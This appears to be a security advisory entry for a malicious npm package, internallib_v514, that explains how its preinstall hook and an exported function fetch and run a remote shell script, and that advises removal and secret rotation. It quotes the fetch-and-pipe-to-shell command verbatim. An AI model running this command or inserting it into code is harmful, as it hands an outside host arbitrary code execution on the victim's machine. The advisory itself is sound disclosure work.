MAL-2026-13483 Malicious code in internallib_v514 (npm)

Malicious package Published
Package
internallib_v514
Registry
npm

What is MAL-2026-13483?

MAL-2026-13483 is a malicious package in internallib_v514, published on 6 Aug 2026.

Official description

package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on npm install, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a command function whose body invokes require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh"), providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named rev.sh — consistent with a reverse-shell dropper.

What should I do about MAL-2026-13483?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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